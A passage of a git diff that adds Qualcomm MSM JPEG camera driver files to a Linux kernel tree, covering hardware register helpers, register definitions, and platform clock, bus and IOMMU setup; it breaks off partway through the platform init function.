JPEG_DECODE_MCUS_DECODED_STATUS); + JPEG_DBG_HIGH("Decode MCUs decode status %u", data); + data = readl_relaxed(base + JPEG_DECODE_BITS_CONSUMED_STATUS); + JPEG_DBG_HIGH("Decode bits consumed status %u", data); + data = readl_relaxed(base + JPEG_DECODE_PRED_Y_STATE); + JPEG_DBG_HIGH("Decode prediction Y state %u", data); + data = readl_relaxed(base + JPEG_DECODE_PRED_C_STATE); + JPEG_DBG_HIGH("Decode prediction C state %u", data); + data = readl_relaxed(base + JPEG_DECODE_RSM_STATE); + JPEG_DBG_HIGH("Decode prediction RSM state %u", data); +} + + +void msm_jpeg_hw_we_buffer_update(struct msm_jpeg_hw_buf *p_input, + uint8_t pingpong_index, void *base) +{ + struct msm_jpeg_hw_cmd *hw_cmd_p; + + if (pingpong_index == 0) { + hw_cmd_p = &hw_cmd_we_ping_update[0]; + hw_cmd_p->data = p_input->y_buffer_addr; + JPEG_DBG_HIGH("%s Output pln0 buffer address is %x\n", __func__, + p_input->y_buffer_addr); + msm_jpeg_hw_write(hw_cmd_p++, base); + hw_cmd_p->data = p_input->cbcr_buffer_addr; + JPEG_DBG_HIGH("%s Output pln1 buffer address is %x\n", __func__, + p_input->cbcr_buffer_addr); + msm_jpeg_hw_write(hw_cmd_p++, base); + hw_cmd_p->data = p_input->pln2_addr; + JPEG_DBG_HIGH("%s Output pln2 buffer address is %x\n", __func__, + p_input->pln2_addr); + msm_jpeg_hw_write(hw_cmd_p++, base); + } + return; +} + +struct msm_jpeg_hw_cmd hw_cmd_reset[] = { + /* type, repeat n times, offset, mask, data or pdata */ + {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_IRQ_MASK_ADDR, + JPEG_IRQ_MASK_BMSK, {JPEG_IRQ_DISABLE_ALL} }, + {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_IRQ_CLEAR_ADDR, + JPEG_IRQ_MASK_BMSK, {JPEG_IRQ_CLEAR_ALL} }, + {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_IRQ_MASK_ADDR, + JPEG_IRQ_MASK_BMSK, {JPEG_IRQ_ALLSOURCES_ENABLE} }, + {MSM_JPEG_HW_CMD_TYPE_WRITE, 1, JPEG_RESET_CMD_ADDR, + JPEG_RESET_CMD_RMSK, {JPEG_RESET_DEFAULT} }, +}; + +void msm_jpeg_hw_reset(void *base, int size) +{ + struct msm_jpeg_hw_cmd *hw_cmd_p; + + hw_cmd_p = &hw_cmd_reset[0]; + wmb(); + msm_jpeg_hw_write(hw_cmd_p++, base); + wmb(); + msm_jpeg_hw_write(hw_cmd_p++, base); + wmb(); + msm_jpeg_hw_write(hw_cmd_p++, base); + wmb(); + msm_jpeg_hw_write(hw_cmd_p, base); + wmb(); + + return; +} + +uint32_t msm_jpeg_hw_read(struct msm_jpeg_hw_cmd *hw_cmd_p, + void *jpeg_region_base) +{ + uint32_t *paddr; + uint32_t data; + + paddr = jpeg_region_base + hw_cmd_p->offset; + + data = readl_relaxed(paddr); + data &= hw_cmd_p->mask; + + return data; +} + +void msm_jpeg_hw_write(struct msm_jpeg_hw_cmd *hw_cmd_p, + void *jpeg_region_base) +{ + uint32_t *paddr; + uint32_t old_data, new_data; + + paddr = jpeg_region_base + hw_cmd_p->offset; + + if (hw_cmd_p->mask == 0xffffffff) { + old_data = 0; + } else { + old_data = readl_relaxed(paddr); + old_data &= ~hw_cmd_p->mask; + } + + new_data = hw_cmd_p->data & hw_cmd_p->mask; + new_data |= old_data; + writel_relaxed(new_data, paddr); +} + +int msm_jpeg_hw_wait(struct msm_jpeg_hw_cmd *hw_cmd_p, int m_us, + void *base) +{ + int tm = hw_cmd_p->n; + uint32_t data; + uint32_t wait_data = hw_cmd_p->data & hw_cmd_p->mask; + + data = msm_jpeg_hw_read(hw_cmd_p, base); + if (data != wait_data) { + while (tm) { + udelay(m_us); + data = msm_jpeg_hw_read(hw_cmd_p, base); + if (data == wait_data) + break; + tm--; + } + } + hw_cmd_p->data = data; + return tm; +} + +void msm_jpeg_hw_delay(struct msm_jpeg_hw_cmd *hw_cmd_p, int m_us) +{ + int tm = hw_cmd_p->n; + while (tm) { + udelay(m_us); + tm--; + } +} + +int msm_jpeg_hw_exec_cmds(struct msm_jpeg_hw_cmd *hw_cmd_p, uint32_t m_cmds, + uint32_t max_size, void *base) +{ + int is_copy_to_user = 0; + uint32_t data; + + while (m_cmds--) { + if (hw_cmd_p->offset > max_size) { + JPEG_PR_ERR("%s:%d] %d exceed hw region %d\n", __func__, + __LINE__, hw_cmd_p->offset, max_size); + return -EFAULT; + } + if (hw_cmd_p->offset & 0x3) { + JPEG_PR_ERR("%s:%d] %d Invalid alignment\n", __func__, + __LINE__, hw_cmd_p->offset); + return -EFAULT; + } + + switch (hw_cmd_p->type) { + case MSM_JPEG_HW_CMD_TYPE_READ: + hw_cmd_p->data = msm_jpeg_hw_read(hw_cmd_p, base); + is_copy_to_user = 1; + break; + + case MSM_JPEG_HW_CMD_TYPE_WRITE: + msm_jpeg_hw_write(hw_cmd_p, base); + break; + + case MSM_JPEG_HW_CMD_TYPE_WRITE_OR: + data = msm_jpeg_hw_read(hw_cmd_p, base); + hw_cmd_p->data = (hw_cmd_p->data & hw_cmd_p->mask) | + data; + msm_jpeg_hw_write(hw_cmd_p, base); + break; + + case MSM_JPEG_HW_CMD_TYPE_UWAIT: + msm_jpeg_hw_wait(hw_cmd_p, 1, base); + break; + + case MSM_JPEG_HW_CMD_TYPE_MWAIT: + msm_jpeg_hw_wait(hw_cmd_p, 1000, base); + break; + + case MSM_JPEG_HW_CMD_TYPE_UDELAY: + msm_jpeg_hw_delay(hw_cmd_p, 1); + break; + + case MSM_JPEG_HW_CMD_TYPE_MDELAY: + msm_jpeg_hw_delay(hw_cmd_p, 1000); + break; + + default: + JPEG_PR_ERR("wrong hw command type\n"); + break; + } + + hw_cmd_p++; + } + return is_copy_to_user; +} + +void msm_jpeg_io_dump(void *base, int size) +{ + char line_str[128], *p_str; + void __iomem *addr = (void __iomem *)base; + int i; + u32 *p = (u32 *) addr; + u32 data; + JPEG_DBG_HIGH("%s:%d] %p %d", __func__, __LINE__, addr, size); + line_str[0] = '\0'; + p_str = line_str; + for (i = 0; i < size/4; i++) { + if (i % 4 == 0) { + snprintf(p_str, 12, "%08lx: ", (unsigned long)p); + p_str += 10; + } + data = readl_relaxed(p++); + snprintf(p_str, 12, "%08x ", data); + p_str += 9; + if ((i + 1) % 4 == 0) { + JPEG_DBG_HIGH("%s\n", line_str); + line_str[0] = '\0'; + p_str = line_str; + } + } + if (line_str[0] != '\0') + JPEG_DBG_HIGH("%s\n", line_str); +} + diff --git a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_hw.h b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_hw.h new file mode 100644 index 0000000000000..c3c5bd77231c7 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_hw.h @@ -0,0 +1,105 @@ +/* Copyright (c) 2012-2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef MSM_JPEG_HW_H +#define MSM_JPEG_HW_H + +#include +#include "msm_jpeg_hw_reg.h" +#include +#include + +struct msm_jpeg_hw_buf { + struct msm_jpeg_buf vbuf; + struct file *file; + uint32_t framedone_len; + uint32_t y_buffer_addr; + uint32_t y_len; + uint32_t cbcr_buffer_addr; + uint32_t cbcr_len; + uint32_t num_of_mcu_rows; + struct ion_handle *handle; + uint32_t pln2_addr; + uint32_t pln2_len; +}; + +struct msm_jpeg_hw_pingpong { + uint8_t is_fe; /* 1: fe; 0: we */ + struct msm_jpeg_hw_buf buf[2]; + int buf_status[2]; + int buf_active_index; +}; + +int msm_jpeg_hw_pingpong_update(struct msm_jpeg_hw_pingpong *pingpong_hw, + struct msm_jpeg_hw_buf *buf, void *); +void *msm_jpeg_hw_pingpong_irq(struct msm_jpeg_hw_pingpong *pingpong_hw); +void *msm_jpeg_hw_pingpong_active_buffer(struct msm_jpeg_hw_pingpong + *pingpong_hw); + +void msm_jpeg_hw_irq_clear(uint32_t, uint32_t, void *); +int msm_jpeg_hw_irq_get_status(void *); +long msm_jpeg_hw_encode_output_size(void *); +#define MSM_JPEG_HW_MASK_COMP_FRAMEDONE \ + MSM_JPEG_HW_IRQ_STATUS_FRAMEDONE_MASK +#define MSM_JPEG_HW_MASK_COMP_FE \ + MSM_JPEG_HW_IRQ_STATUS_FE_RD_DONE_MASK +#define MSM_JPEG_HW_MASK_COMP_WE \ + (MSM_JPEG_HW_IRQ_STATUS_WE_Y_PINGPONG_MASK | \ + MSM_JPEG_HW_IRQ_STATUS_WE_CBCR_PINGPONG_MASK) +#define MSM_JPEG_HW_MASK_COMP_RESET_ACK \ + MSM_JPEG_HW_IRQ_STATUS_RESET_ACK_MASK +#define MSM_JPEG_HW_MASK_COMP_ERR \ + (MSM_JPEG_HW_IRQ_STATUS_DCD_UNESCAPED_FF | \ + MSM_JPEG_HW_IRQ_STATUS_DCD_HUFFMAN_ERROR | \ + MSM_JPEG_HW_IRQ_STATUS_DCD_COEFFICIENT_ERR | \ + MSM_JPEG_HW_IRQ_STATUS_DCD_MISSING_BIT_STUFF | \ + MSM_JPEG_HW_IRQ_STATUS_DCD_SCAN_UNDERFLOW | \ + MSM_JPEG_HW_IRQ_STATUS_DCD_INVALID_RSM | \ + MSM_JPEG_HW_IRQ_STATUS_DCD_INVALID_RSM_SEQ | \ + MSM_JPEG_HW_IRQ_STATUS_DCD_MISSING_RSM | \ + MSM_JPEG_HW_IRQ_STATUS_VIOLATION_MASK) + +#define msm_jpeg_hw_irq_is_frame_done(jpeg_irq_status) \ + (jpeg_irq_status & MSM_JPEG_HW_MASK_COMP_FRAMEDONE) +#define msm_jpeg_hw_irq_is_fe_pingpong(jpeg_irq_status) \ + (jpeg_irq_status & MSM_JPEG_HW_MASK_COMP_FE) +#define msm_jpeg_hw_irq_is_we_pingpong(jpeg_irq_status) \ + (jpeg_irq_status & MSM_JPEG_HW_MASK_COMP_WE) +#define msm_jpeg_hw_irq_is_reset_ack(jpeg_irq_status) \ + (jpeg_irq_status & MSM_JPEG_HW_MASK_COMP_RESET_ACK) +#define msm_jpeg_hw_irq_is_err(jpeg_irq_status) \ + (jpeg_irq_status & MSM_JPEG_HW_MASK_COMP_ERR) + +void msm_jpeg_hw_fe_buffer_update(struct msm_jpeg_hw_buf *p_input, + uint8_t pingpong_index, void *); +void msm_jpeg_hw_we_buffer_update(struct msm_jpeg_hw_buf *p_input, + uint8_t pingpong_index, void *); + +void msm_jpeg_hw_we_buffer_cfg(uint8_t is_realtime); + +void msm_jpeg_hw_fe_start(void *); +void msm_jpeg_hw_clk_cfg(void); + +void msm_jpeg_hw_reset(void *base, int size); +void msm_jpeg_hw_irq_cfg(void); + +uint32_t msm_jpeg_hw_read(struct msm_jpeg_hw_cmd *, void *); +void msm_jpeg_hw_write(struct msm_jpeg_hw_cmd *, void *); +int msm_jpeg_hw_wait(struct msm_jpeg_hw_cmd *, int, void *); +void msm_jpeg_hw_delay(struct msm_jpeg_hw_cmd *, int); +int msm_jpeg_hw_exec_cmds(struct msm_jpeg_hw_cmd *, uint32_t , + uint32_t , void *); +void msm_jpeg_hw_region_dump(int size); +void msm_jpeg_io_dump(void *base, int size); +void msm_jpeg_decode_status(void *base); + +#endif /* MSM_JPEG_HW_H */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_hw_reg.h b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_hw_reg.h new file mode 100644 index 0000000000000..4fbab4b3ea712 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_hw_reg.h @@ -0,0 +1,138 @@ +/* Copyright (c) 2012-2013 The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef MSM_JPEG_HW_REG_H +#define MSM_JPEG_HW_REG_H + +#define JPEG_REG_BASE 0 + +#define MSM_JPEG_HW_IRQ_MASK_ADDR 0x00000018 +#define MSM_JPEG_HW_IRQ_MASK_RMSK 0xFFFFFFFF +#define MSM_JPEG_HW_IRQ_ENABLE 0xFFFFFFFF + +#define MSM_JPEG_HW_IRQ_STATUS_FRAMEDONE_MASK 0x00000001 +#define MSM_JPEG_HW_IRQ_STATUS_FRAMEDONE_SHIFT 0x00000000 + +#define MSM_JPEG_HW_IRQ_STATUS_FE_RD_DONE_MASK 0x00000010 +#define MSM_JPEG_HW_IRQ_STATUS_FE_RD_DONE_SHIFT 0x00000001 + +#define MSM_JPEG_HW_IRQ_STATUS_FE_RTOVF_MASK 0x00000004 +#define MSM_JPEG_HW_IRQ_STATUS_FE_RTOVF_SHIFT 0x00000002 + +#define MSM_JPEG_HW_IRQ_STATUS_FE_VFE_OVERFLOW_MASK 0x00000008 +#define MSM_JPEG_HW_IRQ_STATUS_FE_VFE_OVERFLOW_SHIFT 0x00000003 + +#define MSM_JPEG_HW_IRQ_STATUS_WE_Y_PINGPONG_MASK 0x00000010 +#define MSM_JPEG_HW_IRQ_STATUS_WE_Y_PINGPONG_SHIFT 0x00000004 + +#define MSM_JPEG_HW_IRQ_STATUS_WE_CBCR_PINGPONG_MASK 0x00000020 +#define MSM_JPEG_HW_IRQ_STATUS_WE_CBCR_PINGPONG_SHIFT 0x00000005 + +#define MSM_JPEG_HW_IRQ_STATUS_RESET_ACK_MASK 0x10000000 +#define MSM_JPEG_HW_IRQ_STATUS_RESET_ACK_SHIFT 0x0000000a + +#define MSM_JPEG_HW_IRQ_STATUS_BUS_ERROR_MASK 0x00000800 +#define MSM_JPEG_HW_IRQ_STATUS_BUS_ERROR_SHIFT 0x0000000b + +#define MSM_JPEG_HW_IRQ_STATUS_DCD_UNESCAPED_FF (0x1<<19) +#define MSM_JPEG_HW_IRQ_STATUS_DCD_HUFFMAN_ERROR (0x1<<20) +#define MSM_JPEG_HW_IRQ_STATUS_DCD_COEFFICIENT_ERR (0x1<<21) +#define MSM_JPEG_HW_IRQ_STATUS_DCD_MISSING_BIT_STUFF (0x1<<22) +#define MSM_JPEG_HW_IRQ_STATUS_DCD_SCAN_UNDERFLOW (0x1<<23) +#define MSM_JPEG_HW_IRQ_STATUS_DCD_INVALID_RSM (0x1<<24) +#define MSM_JPEG_HW_IRQ_STATUS_DCD_INVALID_RSM_SEQ (0x1<<25) +#define MSM_JPEG_HW_IRQ_STATUS_DCD_MISSING_RSM (0x1<<26) +#define MSM_JPEG_HW_IRQ_STATUS_VIOLATION_MASK (0x1<<29) + +#define JPEG_OFFLINE_CMD_START 0x00000001 + +#define JPEG_RESET_DEFAULT 0x00032013 + +#define JPEG_IRQ_DISABLE_ALL 0x00000000 +#define JPEG_IRQ_CLEAR_ALL 0xFFFFFFFF + +#define JPEG_PLN0_RD_PNTR_ADDR (JPEG_REG_BASE + 0x00000038) +#define JPEG_PLN0_RD_PNTR_BMSK 0xFFFFFFFF + +#define JPEG_PLN0_RD_OFFSET_ADDR 0x0000003C +#define JPEG_PLN0_RD_OFFSET_BMSK 0x1FFFFFFF + +#define JPEG_PLN1_RD_PNTR_ADDR (JPEG_REG_BASE + 0x00000044) +#define JPEG_PLN1_RD_PNTR_BMSK 0xFFFFFFFF + +#define JPEG_PLN1_RD_OFFSET_ADDR 0x00000048 +#define JPEG_PLN1_RD_OFFSET_BMSK 0x1FFFFFFF + +#define JPEG_PLN2_RD_PNTR_ADDR (JPEG_REG_BASE + 0x00000050) +#define JPEG_PLN2_RD_PNTR_BMSK 0xFFFFFFFF + +#define JPEG_PLN2_RD_OFFSET_ADDR 0x00000054 +#define JPEG_PLN2_RD_OFFSET_BMSK 0x1FFFFFFF + +#define JPEG_CMD_ADDR (JPEG_REG_BASE + 0x00000010) +#define JPEG_CMD_BMSK 0x00000FFF +#define JPEG_CMD_CLEAR_WRITE_PLN_QUEUES 0x700 + +#define JPEG_PLN0_WR_PNTR_ADDR (JPEG_REG_BASE + 0x000000cc) +#define JPEG_PLN0_WR_PNTR_BMSK 0xFFFFFFFF + +#define JPEG_PLN1_WR_PNTR_ADDR (JPEG_REG_BASE + 0x000000D0) +#define JPEG_PLN1_WR_PNTR_BMSK 0xFFFFFFFF + +#define JPEG_PLN2_WR_PNTR_ADDR (JPEG_REG_BASE + 0x000000D4) +#define JPEG_PLN2_WR_PNTR_BMSK 0xFFFFFFFF + +#define JPEG_IRQ_MASK_ADDR (JPEG_REG_BASE + 0x00000018) +#define JPEG_IRQ_MASK_BMSK 0xFFFFFFFF +#define JPEG_IRQ_ALLSOURCES_ENABLE 0xFFFFFFFF + +#define JPEG_IRQ_CLEAR_ADDR (JPEG_REG_BASE + 0x0000001c) +#define JPEG_IRQ_CLEAR_BMSK 0xFFFFFFFF + +#define JPEG_RESET_CMD_ADDR (JPEG_REG_BASE + 0x00000008) +#define JPEG_RESET_CMD_RMSK 0xFFFFFFFF + +#define JPEG_IRQ_STATUS_ADDR (JPEG_REG_BASE + 0x00000020) +#define JPEG_IRQ_STATUS_BMSK 0xFFFFFFFF + +#define JPEG_ENCODE_OUTPUT_SIZE_STATUS_ADDR (JPEG_REG_BASE + 0x00000180) +#define JPEG_ENCODE_OUTPUT_SIZE_STATUS_BMSK 0x1FFFFFFF + +#define JPEG_DECODE_MCUS_DECODED_STATUS (JPEG_REG_BASE + 0x00000258) +#define JPEG_DECODE_BITS_CONSUMED_STATUS (JPEG_REG_BASE + 0x0000025C) +#define JPEG_DECODE_PRED_Y_STATE (JPEG_REG_BASE + 0x00000260) +#define JPEG_DECODE_PRED_C_STATE (JPEG_REG_BASE + 0x00000264) +#define JPEG_DECODE_RSM_STATE (JPEG_REG_BASE + 0x00000268) + +#define JPEG_HW_VERSION (JPEG_REG_BASE + 0x00000000) + +#define VBIF_BASE_ADDRESS 0xFDA60000 +#define VBIF_REGION_SIZE 0xC30 +#define JPEG_VBIF_CLKON 0x4 +#define JPEG_VBIF_IN_RD_LIM_CONF0 0xB0 +#define JPEG_VBIF_IN_RD_LIM_CONF1 0xB4 +#define JPEG_VBIF_IN_RD_LIM_CONF2 0xB8 +#define JPEG_VBIF_IN_WR_LIM_CONF0 0xC0 +#define JPEG_VBIF_IN_WR_LIM_CONF1 0xC4 +#define JPEG_VBIF_IN_WR_LIM_CONF2 0xC8 +#define JPEG_VBIF_OUT_RD_LIM_CONF0 0xD0 +#define JPEG_VBIF_OUT_WR_LIM_CONF0 0xD4 +#define JPEG_VBIF_DDR_OUT_MAX_BURST 0xD8 +#define JPEG_VBIF_OCMEM_OUT_MAX_BURST 0xDC +#define JPEG_VBIF_ARB_CTL 0xF0 +#define JPEG_VBIF_OUT_AXI_AOOO_EN 0x178 +#define JPEG_VBIF_OUT_AXI_AOOO 0x17c +#define JPEG_VBIF_ROUND_ROBIN_QOS_ARB 0x124 +#define JPEG_VBIF_OUT_AXI_AMEMTYPE_CONF0 0x160 +#define JPEG_VBIF_OUT_AXI_AMEMTYPE_CONF1 0x164 + +#endif /* MSM_JPEG_HW_REG_H */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_platform.c b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_platform.c new file mode 100644 index 0000000000000..bd991c9bf48c7 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_platform.c @@ -0,0 +1,460 @@ +/* Copyright (c) 2012-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + + + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "msm_jpeg_platform.h" +#include "msm_jpeg_sync.h" +#include "msm_jpeg_common.h" +#include "msm_jpeg_hw.h" +#include "msm_camera_io_util.h" + +#define JPEG_CLK_INFO_MAX 16 + +static struct msm_cam_clk_info jpeg_8x_clk_info[JPEG_CLK_INFO_MAX]; + +static int msm_jpeg_get_clk_info(struct msm_jpeg_device *jpeg_dev, + struct platform_device *pdev) +{ + uint32_t count; + int i, rc; + uint32_t rates[JPEG_CLK_INFO_MAX]; + + struct device_node *of_node; + of_node = pdev->dev.of_node; + + count = of_property_count_strings(of_node, "clock-names"); + + JPEG_DBG("count = %d\n", count); + if (count == 0) { + pr_err("no clocks found in device tree, count=%d", count); + return 0; + } + + if (count > JPEG_CLK_INFO_MAX) { + pr_err("invalid count=%d, max is %d\n", count, + JPEG_CLK_INFO_MAX); + return -EINVAL; + } + + for (i = 0; i < count; i++) { + rc = of_property_read_string_index(of_node, "clock-names", + i, &(jpeg_8x_clk_info[i].clk_name)); + JPEG_DBG("clock-names[%d] = %s\n", + i, jpeg_8x_clk_info[i].clk_name); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + return rc; + } + } + rc = of_property_read_u32_array(of_node, "qcom,clock-rates", + rates, count); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + return rc; + } + for (i = 0; i < count; i++) { + jpeg_8x_clk_info[i].clk_rate = + (rates[i] == 0) ? -1 : rates[i]; + JPEG_DBG("clk_rate[%d] = %ld\n", + i, jpeg_8x_clk_info[i].clk_rate); + } + jpeg_dev->num_clk = count; + return 0; +} + + +int msm_jpeg_platform_set_clk_rate(struct msm_jpeg_device *pgmn_dev, + long clk_rate) +{ + int rc = 0; + struct clk *jpeg_clk; + + jpeg_clk = clk_get(&pgmn_dev->pdev->dev, "core_clk"); + if (IS_ERR(jpeg_clk)) { + JPEG_PR_ERR("%s get failed\n", "core_clk"); + rc = PTR_ERR(jpeg_clk); + return rc; + } + + rc = clk_set_rate(jpeg_clk, clk_rate); + + return rc; +} + +void msm_jpeg_platform_p2v(struct msm_jpeg_device *pgmn_dev, struct file *file, + struct ion_handle **ionhandle, int domain_num) +{ + ion_unmap_iommu(pgmn_dev->jpeg_client, *ionhandle, domain_num, 0); + ion_free(pgmn_dev->jpeg_client, *ionhandle); + *ionhandle = NULL; +} + +uint32_t msm_jpeg_platform_v2p(struct msm_jpeg_device *pgmn_dev, int fd, + uint32_t len, struct file **file_p, struct ion_handle **ionhandle, + int domain_num) { + dma_addr_t paddr; + unsigned long size; + int rc; + *ionhandle = ion_import_dma_buf(pgmn_dev->jpeg_client, fd); + if (IS_ERR_OR_NULL(*ionhandle)) + return 0; + + rc = ion_map_iommu(pgmn_dev->jpeg_client, *ionhandle, domain_num, 0, + SZ_4K, 0, &paddr, (unsigned long *)&size, 0, 0); + JPEG_DBG("%s:%d] addr 0x%x size %ld", __func__, __LINE__, + (uint32_t)paddr, size); + + if (rc < 0) { + JPEG_PR_ERR("%s: ion_map_iommu fd %d error %d\n", __func__, fd, + rc); + goto error1; + } + + /* validate user input */ + if (len > size) { + JPEG_PR_ERR("%s: invalid offset + len\n", __func__); + goto error1; + } + + return paddr; +error1: + ion_free(pgmn_dev->jpeg_client, *ionhandle); + return 0; +} + +static void set_vbif_params(struct msm_jpeg_device *pgmn_dev, + void *jpeg_vbif_base) +{ + writel_relaxed(0x1, + jpeg_vbif_base + JPEG_VBIF_CLKON); + writel_relaxed(0x10101010, + jpeg_vbif_base + JPEG_VBIF_IN_RD_LIM_CONF0); + writel_relaxed(0x10101010, + jpeg_vbif_base + JPEG_VBIF_IN_RD_LIM_CONF1); + writel_relaxed(0x10101010, + jpeg_vbif_base + JPEG_VBIF_IN_RD_LIM_CONF2); + writel_relaxed(0x10101010, + jpeg_vbif_base + JPEG_VBIF_IN_WR_LIM_CONF0); + writel_relaxed(0x10101010, + jpeg_vbif_base + JPEG_VBIF_IN_WR_LIM_CONF1); + writel_relaxed(0x10101010, + jpeg_vbif_base + JPEG_VBIF_IN_WR_LIM_CONF2); + writel_relaxed(0x00001010, + jpeg_vbif_base + JPEG_VBIF_OUT_RD_LIM_CONF0); + writel_relaxed(0x00000110, + jpeg_vbif_base + JPEG_VBIF_OUT_WR_LIM_CONF0); + writel_relaxed(0x00000707, + jpeg_vbif_base + JPEG_VBIF_DDR_OUT_MAX_BURST); + writel_relaxed(0x7, + jpeg_vbif_base + JPEG_VBIF_OCMEM_OUT_MAX_BURST); + writel_relaxed(0x00000030, + jpeg_vbif_base + JPEG_VBIF_ARB_CTL); + writel_relaxed(0x00000FFF, + jpeg_vbif_base + JPEG_VBIF_OUT_AXI_AOOO_EN); + writel_relaxed(0x0FFF0FFF, + jpeg_vbif_base + JPEG_VBIF_OUT_AXI_AOOO); + /*FE and WE QOS configuration need to be set when + QOS RR arbitration is enabled*/ + if (pgmn_dev->hw_version != JPEG_8974_V1) + writel_relaxed(0x00000003, + jpeg_vbif_base + JPEG_VBIF_ROUND_ROBIN_QOS_ARB); + else + writel_relaxed(0x00000001, + jpeg_vbif_base + JPEG_VBIF_ROUND_ROBIN_QOS_ARB); + + writel_relaxed(0x22222222, + jpeg_vbif_base + JPEG_VBIF_OUT_AXI_AMEMTYPE_CONF0); + writel_relaxed(0x2222, + jpeg_vbif_base + JPEG_VBIF_OUT_AXI_AMEMTYPE_CONF1); +} + +static struct msm_bus_vectors msm_jpeg_init_vectors[] = { + { + .src = MSM_BUS_MASTER_JPEG, + .dst = MSM_BUS_SLAVE_EBI_CH0, + .ab = 0, + .ib = 0, + }, +}; + +static struct msm_bus_vectors msm_jpeg_vectors[] = { + { + .src = MSM_BUS_MASTER_JPEG, + .dst = MSM_BUS_SLAVE_EBI_CH0, + .ab = JPEG_CLK_RATE * 2.5, + .ib = JPEG_CLK_RATE * 2.5, + }, +}; + +static struct msm_bus_paths msm_jpeg_bus_client_config[] = { + { + ARRAY_SIZE(msm_jpeg_init_vectors), + msm_jpeg_init_vectors, + }, + { + ARRAY_SIZE(msm_jpeg_vectors), + msm_jpeg_vectors, + }, +}; + +static struct msm_bus_scale_pdata msm_jpeg_bus_client_pdata = { + msm_jpeg_bus_client_config, + ARRAY_SIZE(msm_jpeg_bus_client_config), + .name = "msm_jpeg", +}; + +#ifdef CONFIG_MSM_IOMMU +static int msm_jpeg_attach_iommu(struct msm_jpeg_device *pgmn_dev) +{ + int i; + + for (i = 0; i < pgmn_dev->iommu_cnt; i++) { + int rc = iommu_attach_device(pgmn_dev->domain, + pgmn_dev->iommu_ctx_arr[i]); + if (rc < 0) { + JPEG_PR_ERR("%s: Device attach failed\n", __func__); + return -ENODEV; + } + JPEG_DBG("%s:%d] dom 0x%lx ctx 0x%lx", __func__, __LINE__, + (unsigned long)pgmn_dev->domain, + (unsigned long)pgmn_dev->iommu_ctx_arr[i]); + } + return 0; +} +static int msm_jpeg_detach_iommu(struct msm_jpeg_device *pgmn_dev) +{ + int i; + + for (i = 0; i < pgmn_dev->iommu_cnt; i++) { + JPEG_DBG("%s:%d] dom 0x%lx ctx 0x%lx", __func__, __LINE__, + (unsigned long)pgmn_dev->domain, + (unsigned long)pgmn_dev->iommu_ctx_arr[i]); + iommu_detach_device(pgmn_dev->domain, + pgmn_dev->iommu_ctx_arr[i]); + } + return 0; +} +#else +static int msm_jpeg_attach_iommu(struct msm_jpeg_device *pgmn_dev) +{ + return 0; +} +static int msm_jpeg_detach_iommu(struct msm_jpeg_device *pgmn_dev) +{ + return 0; +} +#endif + + + +int msm_jpeg_platform_init(struct platform_device *pdev, + struct resource **mem, + void **base, + int *irq, + irqreturn_t (*handler) (int, void *), + void *context) +{ + int rc = -1; + int jpeg_irq; + struct resource *jpeg_mem, *vbif_mem, *jpeg_io, *jpeg_irq_res; + void *jpeg_base; + struct msm_jpeg_device *pgmn_dev = + (struct msm_jpeg_device *) context; + + pgmn_dev->state = MSM_JPEG_IDLE; + + jpeg_mem = platform_get_resource(pdev, IORESOURCE_MEM, 0); + if (!jpeg_mem) { + JPEG_PR_ERR("%s: jpeg no mem resource?\n", __func__); + return -ENODEV; + } + + vbif_mem = platform_get_resource(pdev, IORESOURCE_MEM, 1); + if (!vbif_mem) { + JPEG_PR_ERR("%s: vbif no mem resource?\n", __func__); + return -ENODEV; + } + + jpeg_irq_res = platform_get_resource(pdev, IORESOURCE_IRQ, 0); + if (!jpeg_irq_res) { + JPEG_PR_ERR("no irq resource?\n"); + return -ENODEV; + } + jpeg_irq = jpeg_irq_res->start; + JPEG_DBG("%s base address: 0x%x, jpeg irq number: %d\n", __func__, + jpeg_mem->start, jpeg_irq); + + pgmn_dev->jpeg_bus_client = + msm_bus_scale_register_client(&msm_jpeg_bus_client_pdata); + if (!pgmn_dev->jpeg_bus_client) { + JPEG_PR_ERR("%s: Registration Failed!\n", __func__); + pgmn_dev->jpeg_bus_client = 0; + return -EINVAL; + } + msm_bus_scale_client_update_request( + pgmn_dev->jpeg_bus_client, 1); + + jpeg_io = request_mem_region(jpeg_mem->start, + resource_size(jpeg_mem), pdev->name); + if (!jpeg_io) { + JPEG_PR_ERR("%s: region already claimed\n", __func__); + return -EBUSY; + } + + 